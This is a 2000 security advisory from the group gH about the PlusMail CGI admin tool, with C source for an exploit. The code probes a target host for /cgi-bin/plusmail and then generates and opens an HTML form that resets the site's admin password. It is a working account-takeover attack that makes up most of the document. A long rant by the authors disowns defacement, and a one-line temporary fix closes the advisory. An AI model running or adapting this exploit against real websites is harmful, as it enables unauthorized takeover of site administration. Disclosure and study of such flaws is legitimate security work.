/*

[gH Security Advisory]

software affected:  PowerScripts PlusMail
versions affected:  All versions to current.
discussion:    Read report below.

*/

/*

[gH-plus.c]

title:    [gH plusmail vulnerability]
date:    01.20.2000
author:    ytcracker of gH [phed@felons.org]
comments:  plusmail is an extremely popular cgi-based administration
    tool that allows you to take control of your website
    with a graphical control panel interface.  the password
    file, however, is set with permissions rw enabled,
    therefore granting the authority to change the password
    whenever's clever.
    the following code will detect the vulnerability and
    generate the required html to exploit.
shouts:    herf.  seven one nine.  all of gH.  www.mp3.com/category5.

[Advisory Information]

written by:  mosthated of gH [most@pure-security.net]
vulnerable:  So far, any environment running Plusmail.
report:    Noticed plusmail running on multiple operating systems.
    The vulnerability lies in the web based tool, which
    now that is easily exploited, gives you "ADVANCED CONTROL"
    of a target website.  Below is the code by ytcracker of gH,
    which demonstrates how easy it is to generate the html code
    which is executed by your web browser to compromise the
    target host.  We have noticed this Plus Mail program is widely
    used, but have yet to succeed in finding the main site for
    Plusmail to acknowledge the developers of the remote 
    vulnerability.

    Most likely this will be ripped out during the online trading,
    because of script kids not likely this factual addition, but 
    never the less, it will be expressed.  This exploit was written 
    to acknowledge security weaknesses, but in no way promotes web 
    page defacments.  If you further use this  program to gain access 
    to anything not normally accessable by yourself, meaning you 
    script kids, then you are subject to be prosecuted and even get 
    10 years in prison.  Is it honestly worth it to compile this program 
    and randomly ./hack sites and deface them with this half way 
    automatted program to put your nick & group on it?  
    The answer is NO.  gh/global hell.. Heard of us?? Seen us on TV??
    Read about us?? Most likely..  We've changed and gained knowledge 
    from the experience....Been there done that..  The world didn't
    beleive that a group like this could completely go legit, the IT
    professionals figured we would retaliate against the fbi and the
    world was scared by misleading media articles about how we are
    terrorist and descrutive teens.  I ask the world now, who is helping
    who?  Did the media find this vulnerability?  Did the stereotypist
    who lable us as "cyber gang members" find this vulnerability and allow
    networks around the world to be patched before so called "descrutive
    hackers" gained access to them.  Answer yet again, NO, we did, not you
    who false claim to be helping with security.  Your defacements don't
    help anything, we thought it did before as well, now we realized that
    it does nothing positive.  You stereotypist know nothing about gH, yet
    can write articles, your wrong.  You people think so much that you know
    so much about hackers.  You know nothing, what you think you know, is
    wrong.  What you don't know about us, the information is right under
    your nose, yet you still can't put your finger on it.  Their are 2 sides
    to the so called "hacking scene", you people should realize their will
    always be a good and a bad side to most matters.  Don't exploit the
    fact that you don't know anything about the whole situation, just face 
    the real fact, our knowledge could be a great help to all, why not
    accept us as normal people, not untrue off the wall assumptions.
    If you use programs like this to deface sites, think before you use
    this one, because we have been through the childish fights online
    and expressed our feelings, we are still where we started, from square
    1 and would not have gone any farther, until we realized that what we
    were doing was stupid, pathetic, futureless and illegal.  Choose
    your path wisely, either stop the script kiddie bullshit or get 
    your door kicked in, you decide.
fix:    Move/Rename the plusmail directory as a temporary fix.

*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <ctype.h>
#include <fcntl.h>
#include <strings.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
  int sock;
        unsigned long vulnip;

  struct in_addr addr;
  struct sockaddr_in sin;
  struct hostent *he;
                                                                       
        char *detect;
  char buffer[1024];
  char plusvuln[]="GET /cgi-bin/plusmail HTTP/1.0\n\n";
  char htmI[]="<html><head><title>[gH plusmail exploit]</title></head><form action=\"http://";
  char htmII[]="/cgi-bin/plusmail\" method=\"post\"><p>username: <input type=\"text\" name=\"username\"><br>password: <input type=\"password\" name=\"password\"><br>retype password: <input type=\"password\" name=\"password1\"></p><p><input type=\"submit\" name=\"new_login\" value=\"reset password\"></p></form><p><a href=\"http://pure-security.net\">pure-security networks</a></p></body></html>";

        FILE *html;

  printf("\n [gH plusmail exploit] [ytcracker] [phed@felons.org]\n");

  if(argc<2)
  {
    printf(" usage: %s [vulnerable website]\n\n",argv[0]);
                exit(0);
  }

  if ((he=gethostbyname(argv[1])) == NULL)
  {
    herror("gethostbyname");
    exit(0);
  }

  vulnip=inet_addr(argv[1]);
        vulnip=ntohl(vulnip);

  sock=socket(AF_INET, SOCK_STREAM, 0);
  bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  sin.sin_family=AF_INET;
  sin.sin_port=htons(80);

  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  {  
    perror("connect");
  }

  send(sock, plusvuln,strlen(plusvuln),0);
  recv(sock, buffer, sizeof(buffer),0);
  detect = strstr(buffer,"404");
  close(sock);
     
  if( detect != NULL)
        {
    printf(" vulnerabilty not detected.\n");
                exit(0);
        }
  else
    printf(" vulnerability detected.  generating html...\n");
  
  html=fopen("plus.html","w+b");
  fprintf(html,"%s",htmI);
  fprintf(html,"%s",argv[1]);
  fprintf(html,"%s",htmII);
        fclose(html);

  printf(" spawning lynx...\n");

        system("lynx plus.html");
  return 0;
}